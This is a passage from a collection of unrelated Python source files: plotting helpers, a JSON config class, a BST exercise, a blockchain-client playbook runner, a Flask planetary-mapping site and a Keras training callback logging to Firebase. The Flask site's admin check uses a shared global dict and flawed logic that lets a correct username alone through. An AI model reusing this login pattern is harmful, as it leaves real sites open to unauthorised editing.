ax.grid()\n ax.legend()\n\ndef plot_actions(axes, data_info):\n\n def plot_action_comparison(ax, id, self_act, est_act, color_list, name_list):\n ax.plot(range(len(self_act)), self_act, color=color_list[id], label=name_list[id])\n for i, est in enumerate(est_act):\n if est is not None:\n ax.plot(range(len(est)), est, color=color_list[i], label=name_list[i])\n ax.set_xlabel('episodes')\n ax.set_ylabel('actions')\n ax.grid()\n ax.legend()\n\n def plot_action_est_err(ax, id, self_act, est_act, color_list, name_list):\n\n est_err_d0 = [None, None, None]\n for i, est in enumerate(est_act):\n if est is not None:\n m = min(len(est), len(self_act))\n est_err_d0[i] = [abs(est[k] - self_act[k]) for k in range(m)]\n for i, err in enumerate(est_err_d0):\n if err is not None:\n plot_with_ave(ax, err, color=color_list[i], label=name_list[i])\n ax.set_ylim([0, 3.14])\n\n ax.set_title('estimation error of ' + name_list[id] + '\\'s actions')\n ax.set_xlabel('episode')\n ax.set_ylabel('error of action estimation')\n ax.grid()\n ax.legend()\n\n name_list = data_info['names']\n color_list = data_info['colors']\n act_files = [Config.RESULTS_DIR + name+'_opp_act.csv' for name in name_list]\n\n self_d0 = []\n self_d1 = []\n self_i0 = []\n\n est_d0 = [None, [], []]\n est_d1 = [[], None, []]\n est_i0 = [[], [], None]\n\n with open(act_files[0], 'r') as f:\n readings = csv.reader(f)\n if data_info['learnings'][0]:\n for rd in readings:\n self_d0.append(float(rd[0][1:-1]))\n est_d1[0].append(float(rd[1][1:-1]))\n est_i0[0].append(float(rd[2][1:-1]))\n else:\n for rd in readings:\n self_d0.append(float(rd[0][1:-1]))\n est_d1[0] = None\n est_i0[0] = None\n\n with open(act_files[1], 'r') as f:\n readings = csv.reader(f)\n if data_info['learnings'][1]:\n for rd in readings:\n self_d1.append(float(rd[0][1:-1]))\n est_d0[1].append(float(rd[1][1:-1]))\n est_i0[1].append(float(rd[2][1:-1]))\n else:\n for rd in readings:\n self_d1.append(float(rd[0][1:-1]))\n est_d0[1] = None\n est_i0[1] = None\n\n with open(act_files[2], 'r') as f:\n readings = csv.reader(f)\n if data_info['learnings'][2]:\n for rd in readings:\n self_i0.append(float(rd[0][1:-1]))\n est_d0[2].append(float(rd[1][1:-1]))\n est_d1[2].append(float(rd[2][1:-1]))\n else:\n for rd in readings:\n self_i0.append(float(rd[0][1:-1]))\n est_d0[2] = None\n est_d1[2] = None\n\n plot_action_est_err(axes[0], 0, self_d0, est_d0, color_list, name_list)\n plot_action_est_err(axes[1], 1, self_d1, est_d1, color_list, name_list)\n plot_action_est_err(axes[2], 2, self_i0, est_i0, color_list, name_list)\n\n if data_info['with_raw'] == True:\n plot_action_comparison(axes[3], 0, self_d0, est_d0, color_list, name_list)\n plot_action_comparison(axes[4], 1, self_d1, est_d1, color_list, name_list)\n plot_action_comparison(axes[5], 2, self_i0, est_i0, color_list, name_list)\n\ndef plot_learning_results(trajectories, err_files, act_info):\n\n for i in range(len(err_files)):\n err_files[i]['file'] = Config.RESULTS_DIR + err_files[i]['file']\n\n ###============ trajectory\n figs, axs = [], []\n fig, ax = plt.subplots()\n for traj in trajectories:\n plot_trajectory(ax, traj['data'], line_style=traj['linestyle'], label=traj['label'])\n plot_target(ax)\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_title('Trajectories')\n ax.axis('equal')\n ax.grid()\n ax.legend()\n figs.append(fig)\n axs.append(ax)\n\n ##============= actions\n if act_info is not None:\n if act_info['with_raw']:\n axes = [[] for _ in range(6)]\n for i in range(6):\n _, axes[i] = plt.subplots()\n else:\n axes = [[] for _ in range(3)]\n for i in range(3):\n _, axes[i] = plt.subplots()\n plot_actions(axes, act_info)\n\n ###============ converging history\n for err in err_files:\n fig, ax = plt.subplots()\n plot_residue(ax, err)\n figs.append(fig)\n axs.append(ax)\n\n plt.show()\n\ndef plot_policy_statistics(time, dist):\n\n fig, ax = plt.subplots()\n\n ax.hist2d(time, dist, bins=60, norm=colors.LogNorm())\n ax.set_xlabel('capture time: RL - expert')\n ax.set_ylabel('capture distance: RL - expert')\n ax.grid()\n ax.legend()\n\n plt.show()\n\n\n# def plot_qf_evaluate_fixed_action(XX, YY, ZZ, actions):\n# for X, Y, Z, act in zip(XX, YY, ZZ, actions):\n# fig = plt.figure()\n# ax = fig.gca(projection='3d')\n# ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.coolwarm)\n# ax.set_xlabel('x')\n# ax.set_ylabel('y')\n# ax.set_zlabel('q')\n#\n# plt.show()\n#\n# def plot_qf_evaluate_fixed_state(actions, QQ, states):\n# fig, ax = plt.subplots()\n# for Q, state in zip(QQ, states):\n# ax.plot(actions, Q, label='['+','.join(list(map(str,state)))+']')\n# ax.set_xlabel('action (heading angle)')\n# ax.set_ylabel('value')\n# ax.legend()\n# ax.grid()\n#\n# plt.show()\n#\n# def plot_joint_qf_compare(states, actions, QQs):\n# \"\"\"compare joint q functions of all the players\"\"\"\n# XX = np.arange(len(states))\n# YY = np.arange(len(actions))\n#\n# fig = plt.figure(figsize=(10, 3))\n# gs = gridspec.GridSpec(nrows=1, ncols=3, wspace=0.2)\n#\n# axs = []\n# for i in range(3):\n# ax.append(fig.add_subplot(gs[0, i], projection='3d'))\n# ax[i].plot_surface(XX, YY, QQ[i], cmap=cm.coolwarm)\n# ax[i].set_xlabel('state id')\n# ax[i].set_ylabel('action id')\n# ax[i].set_ylabel('joint q')\n# ax[i].grid()\n#\n# plt.show()\n","sub_path":"plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":8508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"120405750","text":"# Object Class enumerate\n\n\nclass ObjectClassEnum:\n\n def valueOf(className):\n if className == 'exuvia':\n return 0\n\n if className == 'instar1':\n return 1\n\n if className == 'instar2':\n return 2\n\n if className == 'instar3':\n return 3\n\n if className == 'instar4':\n return 4\n\n if className == 'adulta':\n return 5\n\n if className == 'ovo':\n return 6\n\n if className == 'instar1ou2':\n return 7\n\n if className == 'instar3ou4':\n return 8\n\n return 99\n\n def getValueName(classId):\n if classId == 0:\n return 'exuvia'\n\n if classId == 1:\n return 'instar1'\n\n if classId == 2:\n return 'instar2'\n\n if classId == 3:\n return 'instar3'\n\n if classId == 4:\n return 'instar4'\n\n if classId == 5:\n return 'adulta'\n\n if classId == 6:\n return 'ovo'\n\n if classId == 7:\n return 'instar1ou2'\n\n if classId == 8:\n return 'instar3ou4'\n\n return ''\n","sub_path":"Entity/ObjectClassEnum.py","file_name":"ObjectClassEnum.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"515013715","text":"import json\nimport pyglet.resource\n\nclass Object(object):\n\t\"\"\"Base object using JSON format to store data.\"\"\"\n\n\tdef __init__(self, filename=None):\n\t\t\"\"\"Create a new object.\n\n\t\tArgument:\n\t\tfilename -- a valid JSON filename to load (default None)\n\n\t\t\"\"\"\n\t\tsuper(Object, self).__init__()\n\t\tself.filename = filename\n\t\tself.loaded = False\n\t\tself.data = None\n\t\tif self.filename is not None:\n\t\t\tself.reload()\n\n\tdef reload(self):\n\t\t\"\"\"Reload the JSON file contained in the filename attribute\"\"\"\n\t\twith pyglet.resource.file(self.filename) as f:\n\t\t\tself.data = json.load(f)\n\t\tself.on_load()\n\n\tdef save_compacted(self):\n\t\t\"\"\"Save data to the JSON file contained in the filename attribute\"\"\"\n\t\twith pyglet.resource.file(self.filename, 'w') as f:\n\t\t\tjson.dump(self.data, f, separators=(',',':'))\n\n\tdef save(self):\n\t\t\"\"\"Perform the same action than the save() method, but in a more human readable format\"\"\"\n\t\twith pyglet.resource.file(self.filename, 'w') as f:\n\t\t\tjson.dump(self.data, f, indent=4)\n\n\tdef on_load(self):\n\t\t\"\"\"Method called when a JSON data is loaded\"\"\"\n\t\tpass\n\n\tdef loads(self, string):\n\t\t\"\"\"Load a JSON string.\n\n\t\tArgument:\n\t\tstring -- a valid JSON string\n\n\t\t\"\"\"\n\t\tself.data = json.loads(string)\n\t\tself.loaded = True\n\t\tself.on_load()\n\n\tdef load(self, data):\n\t\t\"\"\"Load data.\n\n\t\tArgument:\n\t\tdata - a valid data container\n\n\t\t\"\"\"\n\t\tself.data = data\n\t\tself.loaded = True\n\t\tself.on_load()\n\n\tdef get(self, name, default=0xDEADBEEF):\n\t\t\"\"\"Get a JSON value.\n\n\t\tIf no default value is specified, a KeyError will be raised.\n\t\tMulti-level elements can be accessed using the '/' character as a\n\t\tseparator, for example \"foo/bar/key\".\n\n\t\tArguments:\n\t\tname -- the key of the item\n\t\tdefault -- the value returned if the key is not found\n\n\t\t\"\"\"\n\t\ttry:\n\t\t\tcurrent = self.data\n\t\t\tfor n in name.split('/'):\n\t\t\t\tcurrent = current[n]\n\t\t\treturn current\n\t\texcept KeyError as e:\n\t\t\tif default == 0xDEADBEEF:\n\t\t\t\traise e\n\t\t\telse:\n\t\t\t\treturn default\n\n\tdef set(self, name, value):\n\t\t\"\"\" Set a JSON value.\n\n\t\tSyntax is similar to the get() method, with the character '/' being\n\t\tused as a separator.\n\n\t\tArguments:\n\t\tname -- the key of the item\n\t\tvalue -- the value of the key\n\n\t\t\"\"\"\n\t\tcurrent = self.data\n\t\tfor n in name.split('/')[:-1]:\n\t\t\ttry:\n\t\t\t\tcurrent = current[n]\n\t\t\texcept KeyError:\n\t\t\t\tcurrent[n] = {}\n\t\t\t\tcurrent = current[n]\n\t\tcurrent[name.split('/')[-1]] = value\n\n\tdef __getitem__(self, name):\n\t\tif type(name) is tuple:\n\t\t\treturn self.get(*name)\n\t\telse:\n\t\t\treturn self.get(name)\n\n\tdef __setitem__(self, name, value):\n\t\tself.set(name, value)\n\n\tdef __contains__(self, name):\n\t\tcurrent = self.data\n\t\tfor n in name.split('/'):\n\t\t\ttry:\n\t\t\t\tcurrent = current[n]\n\t\t\texcept KeyError:\n\t\t\t\treturn False\n\t\treturn True\n\t","sub_path":"rgas/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"381106264","text":"import sys\n\n# https://www.hackerrank.com/challenges/30-binary-trees/problem\n\nclass Node:\n def __init__(self, data):\n self.right = self.left = None\n self.data = data\n\n\nclass Solution:\n def insert(self, root, data):\n if root == None:\n return Node(data)\n else:\n if data <= root.data:\n cur = self.insert(root.left, data)\n root.left = cur\n else:\n cur = self.insert(root.right, data)\n root.right = cur\n return root\n\n def levelOrder(self, root):\n q = [root]\n\n for node in q:\n if node:\n print(node.data, end=' ')\n\n q.append(node.left)\n q.append(node.right)\n\n\nT = 6\ndata_table = [3, 5, 4, 7, 2, 1]\n\nmyTree = Solution()\nroot = None\nfor i in range(T):\n data = data_table[i]\n root = myTree.insert(root, data)\nmyTree.levelOrder(root)\n","sub_path":"30DaysOfCode/Day23-BSTLevelOrderTraversal.py","file_name":"Day23-BSTLevelOrderTraversal.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"83465761","text":"import yaml\nimport json\nimport os.path\nimport logging\n\nfrom service_code import Code\nfrom cves_client import CVESClient\nfrom ves_local_client import VESLocalClient\nfrom ves_remote_client import VESRemoteClient\n\n\ndef _load_all(stream):\n \"\"\"\n :param stream:\n :return: a generator return objects serialized in yaml\n :rtype: object\n \"\"\"\n return yaml.load_all(stream)\n\n\ndef _load(stream) -> dict:\n \"\"\"\n :param stream:\n :return: a object serialized in yaml\n :rtype: object\n \"\"\"\n return yaml.load(stream)\n\n\nclass Role(object):\n def __init__(self, name, password, accounts, central_ves: CVESClient = None):\n \"\"\"\n :param name:\n :param password:\n :param accounts:\n \"\"\"\n\n self.chain_map = dict()\n\n self.client = None\n self.name = name\n if not isinstance(password, str):\n raise TypeError(type(password))\n\n self.password = password\n if isinstance(accounts, list):\n self.accounts = accounts\n elif isinstance(accounts, str):\n with open(accounts) as f:\n self.accounts = _load(f)\n\n # check accounts\n if not isinstance(self.accounts, list):\n raise TypeError(f'self.accounts is not good type: {type(self.accounts)}')\n\n for account in self.accounts:\n self.chain_map[account['chain_id']] = account['address']\n\n self.central_ves = CVESClient(central_ves)\n self.process: VESLocalClient\n self.process = None\n self.log_file = open(f'client.{self.name}.out', 'w')\n\n def try_login(self):\n r = self.central_ves.register(self.name, self.password)\n if r.code != Code.InsertError.value and r.code != Code.OK.value:\n raise r.to_error()\n self.central_ves.login(self.name, self.password).maybe_raise()\n\n def try_start_local_client(self):\n\n self.process = VESLocalClient.from_role(self, log_file=self.log_file)\n self.client = VESRemoteClient(self.process.host)\n r = self.client.try_ping()\n if r:\n print(r.body)\n else:\n raise ConnectionError('ping failed')\n\n def try_register_account(self, account):\n if self.central_ves.id is None:\n raise ValueError(f'{self.name}.central_ves.id is None')\n r = self.central_ves.post_chain_info(account['chain_id'], account['address'])\n\n if r.code != Code.InsertError.value and r.code != Code.DuplicatePrimaryKey.value \\\n and r.code != Code.OK.value:\n raise r.to_error()\n\n r = self.client.post_account(\n chain_type=account['chain_type'], alias=account['alias'], chain_id=account['chain_id'],\n address=account['address'], addition=account.get('private_address'))\n\n if r.code != Code.InsertError.value and r.code != Code.DuplicatePrimaryKey.value \\\n and r.code != Code.OK.value:\n raise r.to_error()\n\n def try_close(self):\n if self.log_file is not None:\n self.log_file.close()\n if self.process is not None:\n self.process.kill()\n\n\nclass Account(object):\n # noinspection PyPep8Naming\n def __init__(self, domain, user_name, **kwargs):\n self.domain = domain\n self.user_name = user_name\n\n def __hash__(self):\n return hash(str(self.domain) + \"<84f4446f>\" + self.user_name)\n\n def __eq__(self, other):\n return self.domain == other.domain and self.user_name == other.user_name\n\n\nclass NullPlaybook(object):\n @staticmethod\n def parse_account(acc):\n return acc\n\n\ndef parse_obj_to_intents(op_intents: list or dict, context):\n intents = []\n if not isinstance(op_intents, list):\n op_intents = [op_intents]\n for op_intent in op_intents:\n intents.append(OpIntent(op_intent, context))\n return intents\n\n\nclass OpIntent(object):\n def __init__(self, intent, context):\n self.name = intent.get('name')\n self.type = intent.get('type', 'Payment')\n self.resp_accounts = []\n if self.type == 'Payment':\n self.src = Account(**context.parse_account(intent['src']))\n self.dst = Account(**context.parse_account(intent['dst']))\n self.resp_accounts = [\n self.src, self.dst,\n ]\n elif self.type == 'ContractInvocation':\n self.src = Account(**context.parse_account(intent.get('invoker')))\n # self.contract = Contract(**context.parse_account(intent.get('contract')))\n self.resp_accounts = [\n self.src\n ]\n elif self.type == 'IfStatement':\n self.if_body = parse_obj_to_intents(intent.get('if', []), context)\n self.else_body = parse_obj_to_intents(intent.get('else', []), context)\n self.condition = intent.get('condition')\n elif self.type == 'loopFunction':\n self.body = parse_obj_to_intents(intent.get('loop', []), context)\n self.times = intent.get('loopTime', 0)\n else:\n logging.warning('unknown type ', self.type)\n\n\nclass OpIntents(object):\n def __init__(self, d):\n \"\"\"\n :param d:\n :type d dict\n \"\"\"\n op_intents = d['op-intents']\n self.dependencies = d.get('dependencies', [])\n self.local_accounts = self.build_local_map(d.get('accounts', []), 'userName', 'user_name')\n self.local_contracts = self.build_local_map(d.get('contracts', []), 'contractName', 'user_name')\n self.intents = parse_obj_to_intents(op_intents, self)\n\n def parse_account(self, acc):\n if isinstance(acc, str):\n xmp = self.local_accounts.get(acc)\n k = None\n if xmp:\n k = xmp.get(None)\n if k is None:\n raise KeyError('accountName %s is not exists or ambiguous' % acc)\n return k\n return acc\n\n @staticmethod\n def build_local_map(raw_list, k, rename=None):\n mp = dict()\n info:dict\n for info in raw_list:\n un = info[k]\n if rename is not None:\n info.pop(k)\n info[rename] = un\n xmp = mp.get(un, {\n info['domain']: info,\n None: info,\n })\n if un in mp:\n xmp[None] = None\n mp[un] = xmp\n\n return mp\n\n\nclass Playbook(object):\n \"\"\"\n :type intents OpIntents\n\n good form of Playbook:\n\n root.name: {string} name of playbook\n root.source: {string} file path of op-intent file\n root.ves-clients: {array} describe ves-clients\n root.accounts: {string} describe resp accounts\n ves-clients.name: {string} open with this name\n ves-clients.password: {string} login central ves by this passphrase\n ves-clients.accounts: {array|string} describe resp accounts\n accounts[].chain_id: {int} which chain the resp account is at\n accounts[].address: {hex string} this account's public address\n\n accounts[string]: the target file (in yaml) describe the resp's accounts\n \"\"\"\n\n def __init__(self, stream=None,\n file_path='playbook.yaml',\n central_ves_host=None):\n \"\"\"\n :type central_ves_host: str\n :param stream:\n :param file_path:\n :type file_path: str\n :type stream TextIO\n \"\"\"\n\n self.role_map = dict()\n self.base_path = os.path.abspath(os.path.dirname(file_path))\n\n if file_path is not None:\n stream = stream or open(file_path)\n if stream is None:\n raise ValueError('stream is None')\n obj = _load(stream)\n self.name = obj.get('name', '')\n self.intent_file_path = self.rel_path(obj.get('source', 'intent.json'))\n self.intents = self.prepare_intent_file(self.intent_file_path)\n\n self.central_ves = CVESClient(central_ves_host)\n r = self.central_ves.ping()\n if not r.avail:\n raise ConnectionError(f'ping failed: {r.fail_string()}')\n self.roles = self.process_roles(obj.get('ves-clients', []))\n self.build_role_map()\n\n def process_roles(self, roles):\n parsed_roles = []\n for role in roles:\n parsed_roles.append(Role(\n name=str(role['name']),\n password=str(role['password']),\n accounts=self.rel_path(role['accounts']),\n central_ves=self.central_ves,\n ))\n return parsed_roles\n\n @staticmethod\n def prepare_intent_file(intent_path):\n with open(intent_path) as f:\n intents = json.load(f)\n return OpIntents(intents)\n\n def build_role_map(self):\n for role in self.roles:\n role.try_start_local_client()\n role.try_login()\n for account in role.accounts:\n role.try_register_account(account)\n print(account)\n self.role_map[role.name] = role\n\n def close(self):\n for role in self.roles:\n role.try_close()\n\n @staticmethod\n def parse_account(acc):\n return acc\n\n def rel_path(self, fp):\n if isinstance(fp, str):\n return os.path.join(self.base_path, fp)\n return fp\n\n\ndef check_and_get_role(playbook: Playbook, intents: list = None) -> Role or None:\n intents = intents or playbook.intents.intents\n some_role = None\n for intent in intents:\n if intent.type == 'IfStatement':\n some_role = check_and_get_role(playbook, intent.if_body) or some_role\n some_role = check_and_get_role(playbook, intent.else_body) or some_role\n elif intent.type == 'loopFunction':\n some_role = check_and_get_role(playbook, intent.body) or some_role\n\n for account in intent.resp_accounts:\n if account.domain not in playbook.role_map[account.user_name].chain_map:\n raise ValueError(f'<{account.domain}, {account.user_name}> is not in playbook')\n some_role = playbook.role_map[account.user_name]\n return some_role\n\n\nimport threading\n\n# class IOThread(threading.Thread):\n# def __init__(self, role: Role):\n# super().__init__()\n# self.role = role\n#\n# def run(self):\n# while True:\n# self.role.process.stdout.writeline(\n# self.role.process.process.stdout.readline())\n\ndef run_playbook(playbook: Playbook):\n some_role: Role = check_and_get_role(playbook)\n if some_role is not None:\n threads = []\n\n # for role in playbook.roles:\n # threads.append(IOThread(role))\n\n # for thread in threads:\n # thread.start()\n\n r = some_role.client.send_op_intents_in_file(playbook.intent_file_path)\n print(r, type(r), getattr(r, 'code', None),\n getattr(getattr(r, 'resp', {}), 'status_code'), getattr(r, 'body', None))\n\n # for thread in threads:\n # thread.join()\n else:\n raise ValueError('some_role not found')\n # print(resp_accounts)\n\n\nif __name__ == '__main__':\n pb = Playbook(file_path='./example/playbook.example.yaml')\n run_playbook(pb)\n input('enter any keys to exit')\n pb.close()\n","sub_path":"cmd/ves-client/playbook.py","file_name":"playbook.py","file_ext":"py","file_size_in_byte":11205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"636606969","text":"from __future__ import absolute_import, division, print_function\nfrom setuptools import setup, find_packages\nimport os\n\n# Makes setup work inside of a virtualenv\nuse_system_lib = True\nif os.environ.get(\"BUILD_LIB\") == \"1\":\n use_system_lib = False\n\nbase_dir = os.path.dirname(__file__)\n\n__author__ = \"Kayan Hau\"\n__email__ = \"virtualda@gmail.com\"\n\n__title__ = \"reko\"\n__version__ = \"0.1.0.dev0\"\n__summary__ = \"This package supports face-based user verification using Amazon Rekognition.\"\n__uri__ = \"https://github.com/kyhau/reko\"\n\n__requirements__ = [\n 'boto3>=1.4.4',\n 'opencv-python>=3.2.0.7',\n 'numpy>=1.13.0',\n 'playsound>=1.2.1',\n 'SpeechRecognition>=3.6.5',\n 'PyAudio>=0.2.11'\n]\n\nwith open(os.path.join(base_dir, \"README.md\")) as f:\n long_description = f.read()\n\nsetup(\n name=__title__,\n version=__version__,\n description=__summary__,\n long_description=long_description,\n packages=find_packages(exclude=['tests']),\n author=__author__,\n author_email=__email__,\n url=__uri__,\n zip_safe=False,\n install_requires=__requirements__,\n data_files=[\n ('', ['ReleaseNotes.md']),\n ],\n entry_points={\n 'console_scripts': [\n 'reko = reko.main:main'\n ]\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"366945639","text":"import unittest\nfrom flask import current_app\nfrom app import create_app\n\n\nclass Test(unittest.TestCase):\n def setUp(self):\n self.app, self.db = create_app(\"testing\")\n self.app_context = self.app.app_context()\n self.app_context.push()\n self.db.create_all()\n\n def tearDown(self):\n self.db.session.remove()\n self.db.drop_all()\n self.app_context.pop()\n\n\n def test_environ_is_testing(self):\n self.assertTrue(current_app.config[\"TESTING\"])\n\n\n def test_app_is_existing(self):\n self.assertFalse(current_app is None)\n\n\nif __name__ == \"__main__\":\n t = Test()\n t.setUp()","sub_path":"Graduation2/test2/test_environment.py","file_name":"test_environment.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"567075992","text":"import os\nimport sys\nimport json\nfrom glob import glob\nfrom functools import wraps\nfrom datetime import datetime\n\nfrom flask import Flask, abort, flash, redirect, render_template, request, url_for, Response\nfrom pymongo import MongoClient\nfrom jinja2 import Markup\n\nfrom forms import PageForm, LoginForm\n\nif sys.version_info[0] == 3:\n from urllib.request import urlopen\nelse:\n from urllib import urlopen\n\nif not \"MONGODB_HOST\" in os.environ:\n raise NameError(\"MONGODB_HOST environment variable is not set\")\n\nclient = MongoClient(os.environ[\"MONGODB_HOST\"])\ndb = client.pgmdb\nadmin = {}\n\n# Populate the environment with potential secrets\nfor file in glob('/run/secrets/*'):\n with open(file) as fp:\n secrets = json.load(fp)\n\n for key, value in secrets.items():\n os.environ[key] = value\n\nWSApp = Flask(__name__, instance_relative_config=False)\nWSApp.debug=True\n# WSApp.config.from_pyfile('config.py')\n# print(WSApp.config)\n\ndef admin_required(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if admin['admin_name'] != os.environ['ADMIN_NAME'] and \\\n admin['admin_password']!= os.environ['ADMIN_PASSWORD']:\n return redirect(url_for('login'))\n return f(*args, **kwargs)\n return decorated_function\n\n@WSApp.route('/login', methods = ['GET', 'POST'])\ndef login():\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n form = LoginForm(request.form)\n\n if request.method == 'POST':\n admin['admin_name'] = form.admin_name.data\n admin['admin_password'] = form.admin_password.data\n\n return redirect(url_for('edit_pages'))\n\n return render_template('login_template.html', menu = menu, form = form)\n\n\n@WSApp.route('/', methods = ['GET'])\ndef index_handler():\n doc = db.static.find_one({'name': 'home'})\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n home_markup = Markup(doc['content'])\n home_title = Markup(doc['title'])\n return render_template('page_template.html', content = home_markup,\n title = home_title,\n menu = menu,\n rss = True)\n\n\n@WSApp.route('/Page/view/', methods = ['GET'])\ndef page_handler(name):\n doc = db.static.find_one({'name': name})\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n page_markup = Markup(doc['content'])\n page_title = Markup(doc['title'])\n return render_template('page_template.html', content = page_markup,\n title = page_title,\n menu = menu)\n\n@WSApp.route('/Target/project/', methods = ['GET'])\ndef map_handler(body):\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n return render_template('map_template.html', body = body, menu = menu)\n\n@WSApp.route('/Project', methods = ['GET'])\ndef map_all_handler():\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n return render_template('map_template.html', body = 'All', menu = menu)\n\n@WSApp.route('/Review', methods = ['GET'])\ndef review_handler():\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n title = 'NASA/USGS Planetary Geologic Mapping Program'\n return render_template('review.html', content = menu,\n title = title,\n menu = menu)\n\n@WSApp.route('/edit', methods = ['GET', 'POST'])\n@admin_required\ndef edit_page():\n form = PageForm(request.form)\n name = request.args['page']\n doc = db.static.find_one({'name': name})\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n\n if request.method == 'POST':\n new_title = form.page_title.data\n new_content = form.page_content.data\n new_name = form.page_name.data\n db.static.update({'name':name}, {\"$set\": {'content': new_content,\n 'title': new_title,\n 'name': new_name}})\n return redirect(url_for('edit_pages'))\n\n file_title = Markup(doc['title'])\n file_markup = Markup(doc['content'])\n form.page_title.data = file_title\n form.page_name.data = name\n form.page_content.data = file_markup\n\n\n return render_template('edit.html', form = form, menu = menu, rss = False)\n\n@WSApp.route('/remove', methods = ['POST'])\n@admin_required\ndef remove_page():\n name = request.form['page']\n doc = db.static.delete_one({'name': name})\n return redirect(url_for('edit_pages'))\n\n@WSApp.route('/admin/new', methods = ['GET', 'POST'])\n@admin_required\ndef create_page():\n form = PageForm(request.form)\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n\n if request.method == 'POST' and form.validate():\n title = form.page_title.data\n content = form.page_content.data\n name = form.page_name.data\n db.static.insert({'name':name,\n 'content': content,\n 'title': title,\n 'type': 'page'})\n return redirect(url_for('edit_pages'))\n\n return render_template('edit.html', form = form, menu = menu)\n\n@WSApp.route('/admin/pages', methods = ['GET'])\n@admin_required\ndef edit_pages():\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n entries = [entry['name'] for entry in db.static.find({})]\n return render_template('pages.html', menu = menu, entries = entries)\n\n@WSApp.route(\"/Project/view/\")\ndef project_handler(id):\n menu = Markup(db.static.find_one({'name': 'menu'})['content'])\n return render_template('project.html', id = id, menu = menu)\n\n@WSApp.route(\"/datasets/////\")\ndef json_dataset_id(environment, dataset, target, protocol, ident):\n url = ''\n if environment == 'dev':\n url = 'http://astrocloud-dev.wr.usgs.gov/dataset/data/'\n else:\n url = 'https://astrocloud.wr.usgs.gov/dataset/data/'\n url += dataset.lower() + '/' + target.lower() + '/' + protocol.upper()\n url += '?request=getFeature&service=WFS&version=1.1.0&outputformat=application/json'\n if ident is not None:\n url += '&id=' + ident\n response = urlopen(url)\n return Response(response.read(), status=200, mimetype='application/json')\n\n@WSApp.route(\"/datasets////\")\ndef json_dataset_target(environment, dataset, target, protocol):\n return json_dataset_id (environment, dataset, target, protocol, None)\n\nif __name__ == \"__main__\":\n # @TODO probably need to remove host arg for production code, but it's\n # necessary for local testing.\n WSApp.run(host = '0.0.0.0', port = 5000, debug=True)\n","sub_path":"pgm.py","file_name":"pgm.py","file_ext":"py","file_size_in_byte":6817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"314622101","text":"import sys\nfrom firebase_admin import db\nimport numpy as np\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.callbacks import Callback\n\ntotal_epochs = int(sys.argv[1])\ncurrent_epoch = int(sys.argv[2])\nusername = str(sys.argv[3])\nmodel_name = str(sys.argv[4])\ndata_path = str(sys.argv[5])\nweights_path = str(sys.argv[6])\n\n#print(sys.argv)\n\ncred = credentials.Certificate(\"ml-parameter-firebase-adminsdk-kzlzj-689846709e.json\")\n\nfirebase_admin.initialize_app(cred, {'databaseURL': 'https://ml-parameter.firebaseio.com/'})\n\nX_train = np.load(data_path + \"X_train.npy\")\nY_train = np.load(data_path + \"Y_train.npy\")\n\nclass TrainingPlot(Callback):\n\n def __init__(self, username, model_name):\n super(Callback, self).__init__()\n self.username = username\n self.model_name = model_name\n\n # This function is called when the training begins\n def on_train_begin(self, logs={}):\n # Initialize the lists for holding the logs, losses and accuracies\n self.losses = []\n self.acc = []\n self.val_losses = []\n self.val_acc = []\n self.logs = []\n\n def on_train_batch_begin(self, *args, **kwargs):\n pass\n def on_train_batch_end(self, *args, **kwargs):\n pass\n def on_batch_end(self,batch,logs={}):\n pass\n\n # This function is called at the end of each epoch\n def on_epoch_end(self, epoch, logs={}): ##Need to add try catch statement for val loss and accuracy as it cannot be put into firebase without it\n # Append the logs, losses and accuracies to the lists\n self.logs.append(logs)\n self.losses.append(logs.get('loss'))\n self.acc.append(str(logs.get('acc')))\n #self.val_losses.append(logs.get('val_loss'))\n #self.val_acc.append(logs.get('val_acc'))\n main_ref = db.reference('/')\n users_ref = main_ref.child(self.username).child(self.model_name)\n users_ref.update({'acc':self.acc, 'loss':self.losses}) \n\n##Callback Pausing_Model for model pausing\nclass Pausing_Model(Callback):\n \n def __init__(self, username, model_name, weights_path):\n super(Callback, self).__init__()\n self.username = username\n self.model_name = model_name\n self.weights_path = weights_path\n self.main_ref = db.reference('/')\n self.users_ref = self.main_ref.child(self.username).child(self.model_name).child(\"stop_flag\")\n self.stop_flag = self.users_ref.get()\n self.epoch=0\n\n def on_epoch_begin(self, epoch, logs={}):\n #code to update flag from firebase\n self.main_ref = db.reference('/')\n self.users_ref = self.main_ref.child(self.username).child(self.model_name).child(\"stop_flag\")\n self.stop_flag =self.users_ref.get()\n if self.stop_flag==1:\n self.model.stop_training = True\n self.model.save_weights(self.weights_path + 'model_weights.h5')\n main_ref = db.reference('/')\n users_ref = 